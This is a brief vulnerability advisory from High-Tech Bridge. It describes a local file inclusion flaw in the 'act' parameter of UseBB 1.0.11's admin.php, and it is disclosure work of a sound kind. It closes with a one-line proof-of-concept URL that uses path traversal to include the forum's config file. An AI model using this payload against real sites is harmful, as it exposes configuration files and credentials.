HTB22914: Local File Inclusion in UseBB

[advisory () htbridge ch]

Vulnerability ID: HTB22914
Reference: http://www.htbridge.ch/advisory/local_file_inclusion_in_usebb.html
Product: UseBB
Vendor: UseBB ( http://www.usebb.net/ ) 
Vulnerable Version: 1.0.11
Vendor Notification: 22 March 2011 
Vulnerability Type: Local File Inclusion
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/admin.php" script to properly sanitize user-supplied input in "act" 
variable.

[code]
http://usebb/admin.php?act=/../../config
[/code]